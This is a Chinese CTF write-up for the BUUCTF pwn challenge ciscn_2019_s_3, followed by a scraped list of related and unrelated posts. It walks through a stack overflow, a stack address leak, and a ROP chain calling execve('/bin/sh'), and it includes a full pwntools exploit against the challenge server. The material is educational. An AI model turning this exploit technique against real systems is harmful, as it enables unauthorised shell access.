[BUUCTF]PWN21——ciscn_2019_s_3

附件

步骤

例行检查,64位,开启了NX保护

试运行的时候回显是一些乱码,直接用ida打开,从main函数开始看

main函数调用了vuln函数

__asm 关键字用于调用内联汇编程序,并且可在 C 或 C++ 语句合法时出现。

我们首先要了解一下64位系统的系统调用

传参方式:首先将系统调用号 传入 rax,然后将参数 从左到右 依次存入 rdi,rsi,rdx寄存器中,返回值存在rax寄存器

调用号:sys_read 的调用号 为 0 ;sys_write 的调用号 为 1;stub_execve 的调用号 为 59; stub_rt_sigreturn 的调用号 为 15

调用方式: 使用 syscall 进行系统调用

这题我们没法通过f5查看伪代码理清执行过程,我们按tap查看汇编

首先定义了一个参数buf的大小是0x10
xor rax , rax --------------->将rax寄存器里的值设置为了0(任何一个数异或它本身都等于0)
mov edx , 400h ------------->将edx寄存器的值设置为了0x400
lea rsi , [rsp+buf] ----------->将buf参数的地址传入寄存器rsi
mov rdi ,rax --------------->将rax寄存器里的值(0)传入rdi寄存器(将rdi设置为0)
syscall------------------------->进行系统调用

其实就是执行了 read(0,buf,0x400),我们一开始看到的buf的大小只有0x10,因此这边存在栈溢出漏洞

下面一段同理,就是执行了 write(1,buf,0x30),然后设置rbp,执行retn命令,retn其实就是pop eip,eip寄存器一般用于存放我们下一条要执行的指令的地址,所以pop eip这条指令可以让我们控制程序的跳转

看到gadgets函数联想到onegadget,我们在看一下gadgets函数的汇编

可以看到它有将rax设置为3B(59),调用了execve,execve函数作用是执行一个新的程序,程序可以是二进制的可执行程序,也可以是shell、pathon脚本,这个跟system函数差不多,记录一下调用execve的地址,execve_addr=0x4004e2,
在这个调用execve的函数里也看到了retn,我们可以用它继续控制程序流,接下来就是去设置execve函数的参数,通过pop指令持续控制,让rdi=/bin/sh,rsi=0,rdx=0即可获得shell

注意vuln函数和gadget函数有一个特点,那就是函数末尾没有leave指令,在执行完后不会恢复rbp和rsp状态到上一个栈帧,原先rbp值保存的位置变成了返回地址的位置。也就是说vuln函数的buf参数在溢出的时候只要输入长度为10的数据之后覆盖rbp,就能控制程序

利用过程

1.构造第一次溢出,由于write输出的是0x30字节长度的内容,因此会泄露一些栈上的地址

payload='/bin/sh\x00'+'b'*8+p64(vlu)

看一下溢出后write打印出来的内容,

看到距离rsp为0x20的地方输出了我们调试的程序的名称,这个一般是保存在avrg[0],这个是栈上的地址,我们可以计算一下它距离我们输入的首字符的位置的距离是0xca8-0xb90=0x118(280),也就是说我们以后每次接受0x20个长度的字符,停在这个位置,然后-0x118,就能定位到输入点参数在栈中的位置了,这个地方我们已经写入了字符串 ‘/bin/sh’

p.recv(0x20)
sh=u64(p.recv(8))-280

接下来再造成一次溢出,进行execve函数调用,然后只要让rdi=/bin/sh,rsi=0,rdx=0即可获得shell
没有直接找到设置rdx寄存器的指令,但是在ida里找到了改变rdx寄存器方法的指令,

mov rdx ,r13--------->将r13寄存器里的值赋值给rdx,也就是说我们可以通过改变r13的值来控制rdx
pop r13----------->设置r13寄存器里的值,它其实是执行了两个步骤,第一步mov,改变r13的值,之后ret,进行地址跳转,我们可以用pop r13这个指令,先将r13设置为0,只会ret到mov rdx,r13,这样就将rdx设置为0了,但是将rbx设置为了0,下面的call会变成执行call ptr[12]

pl2='/bin/sh\x00'*2+p64(pop_rbx_rbp_r12_r13_r14_r15)+p64(0)*6
pl2+=p64(mov_rdxr13_call)+p64(execv)

最后来设置rdi

ROPgadget --binary ciscn_s_3 |grep "pop rdi"

pl2+=p64(pop_rdi)+p64(sh)+p64(sys)#将rdi设置为/bin/sh字符串,返回到syscall函数执行系统调用

exp

from pwn import *

#p=process('./ciscn_s_3')
p=remote('node3.buuoj.cn',26145)
context.log_level = 'debug' vlu=0x0004004ED execv=0x04004E2 pop_rdi=0x4005a3 pop_rbx_rbp_r12_r13_r14_r15=0x40059A mov_rdxr13_call=0x0400580 sys=0x00400517 payload='/bin/sh\x00'*2+p64(vlu)
p.send(payload)
#gdb.attach(p) p.recv(0x20)
sh=u64(p.recv(8))-280
print(hex(sh)) pl2='/bin/sh\x00'*2+p64(pop_rbx_rbp_r12_r13_r14_r15)+p64(0)*6
pl2+=p64(mov_rdxr13_call)+p64(execv)
pl2+=p64(pop_rdi)+p64(sh)+p64(sys)
p.send(pl2) p.interactive()

参考了几位师傅的wp加上自己的一些理解,如果我有地方理解错了,请指正
https://blog.csdn.net/github_36788573/article/details/103541178
https://eqqie.cn/index.php/laji_note/1092/

[BUUCTF]PWN21——ciscn_2019_s_3的更多相关文章

  1. ciscn_2019_s_3

    拿到题目例行检查 64位程序开启了nx保护,将程序放入ida 看到没有system函数第一时间想到的就是泄露libc来做,后来才知道是我学识尚浅,需要用execve函数来做 进入main发现跳转到vu ...

  2. Buuctf刷题:部分

    get_started_3dsctf_2016 关键词:ROP链.栈溢出.mprotect()函数 可参考文章(优质): https://www.cnblogs.com/lyxf/p/12113401 ...

  3. 刷题记录:[BUUCTF 2018]Online Tool

    目录 刷题记录:[BUUCTF 2018]Online Tool 一.知识点 1.escapeshellarg和escapeshellcmd使用不当导致rce 刷题记录:[BUUCTF 2018]On ...

  4. BUUCTF 部分wp

    目录 Buuctf crypto 0x01传感器 提示是曼联,猜测为曼彻斯特密码 wp:https://www.xmsec.cc/manchester-encode/ cipher: 55555555 ...

  5. buuctf misc 刷题记录

    1.金三胖 将gif分离出来. 2.N种方法解决 一个exe文件,果然打不开,在kali里分析一下:file KEY.exe,ascii text,先txt再说,base64 图片. 3.大白 crc ...

  6. BUUCTF知识记录

    [强网杯 2019]随便注 先尝试普通的注入 发现注入成功了,接下来走流程的时候碰到了问题 发现过滤了select和where这个两个最重要的查询语句,不过其他的过滤很奇怪,为什么要过滤update, ...

  7. buuctf misc wp 01

    buuctf misc wp 01 1.金三胖 2.二维码 3.N种方法解决 4.大白 5.基础破解 6.你竟然赶我走 1.金三胖 root@kali:~/下载/CTF题目# unzip 77edf3 ...

  8. buuctf misc wp 02

    buuctf misc wp 02 7.LSB 8.乌镇峰会种图 9.rar 10.qr 11.ningen 12.文件中的秘密 13.wireshark 14.镜子里面的世界 15.小明的保险箱 1 ...

  9. BUUCTF WEB-WP(3)

    BUUCTF WEB 几道web做题的记录 [ACTF2020 新生赛]Exec 知识点:exec命令执行 这题最早是在一个叫中学生CTF平台上看到的类似,比这题稍微要复杂一些,多了一些限制(看看大佬 ...

随机推荐

  1. MySQL配置参数innodb_flush_log_at_trx_commit

    innodb_flush_log_at_trx_commit 此参数有3个值可设置:0.1.2 0表示每秒刷写一次日志到硬盘,极端情况下MySQL或操作系统挂了最多丢1秒的数据更新 1表示每次事务提交 ...

  2. [源码解析] PyTorch 分布式(12) ----- DistributedDataParallel 之 前向传播

    [源码解析] PyTorch 分布式(12) ----- DistributedDataParallel 之 前向传播 目录 [源码解析] PyTorch 分布式(12) ----- Distribu ...

  3. 什么是CLI、GUI

    就是命令行界面command-line interface,也有人称之为字符用户界面(CUI). 通常认为,命令行界面(CLI)没有图形用户界面(GUI)那么方便用户操作. 因为,命令行界面的软件通常 ...

  4. 353 stars Java项目!Java小白必看!austin介绍 【第一话】

    有好几个群友问我为什么最近更新变慢了.工作忙是一方面,另一方面是我更新文章的动力确实下降了.近大半年一直在更新的<对线面试官>系列,到现在已经40篇了. 说实话,当时我更新该系列有很大一部 ...

  5. 洛谷 P2481 [SDOI2010]代码拍卖会(背包+隔板法)

    题面传送门 题意: 给出 \(n,p\),求有多少 \(n\) 位数 \(X=a_1a_2a_3\dots a_n\) 满足: 该 \(n\) 位数不含前导零 \(a_i \leq a_{i+1}\) ...

  6. BZOJ3971 [WF2013]Матрёшка

    *XXXIV. BZOJ3971 [WF2013]Матрёшка 摘自 DP 做题记录 II 例题 XXXIV. 仍然是神仙区间 DP. 直接设状态 \(f_{i,j}\) 表示区间 \([i,j] ...

  7. python-django-类函数__str__ 函数

    打印一个实例化对象时,打印的其实时一个对象的地址.而通过__str__()函数就可以帮助我们打印对象中具体的属性值,或者你想得到的东西. 因为再python中调用print()打印实例化对象时会调用_ ...

  8. Django向数据库批量插入数据

    # 如何向数据库一次性插入多条数据 # 方法一:效率极低,不推荐使用 for i in range(1000): models.Book.objects.create(title=f'第{i}本书') ...

  9. Oracle基础入门

    说明:钓鱼君昨天在网上找到一份oracle项目实战的文档,粗略看了一下大致内容,感觉自己很多知识不够扎实,便跟着文档敲了一遍,目前除了机械性代码没有实现外,主要涉及知识:创建表空间.创建用户.给用户赋 ...

  10. Hadoop入门 概念

    Hadoop是分布式系统基础架构,通常指Hadoop生态圈 主要解决 1.海量数据的存储 2.海量数据的分析计算 优势 高可靠性:Hadoop底层维护多个数据副本,即使Hadoop某个计算元素或存储出 ...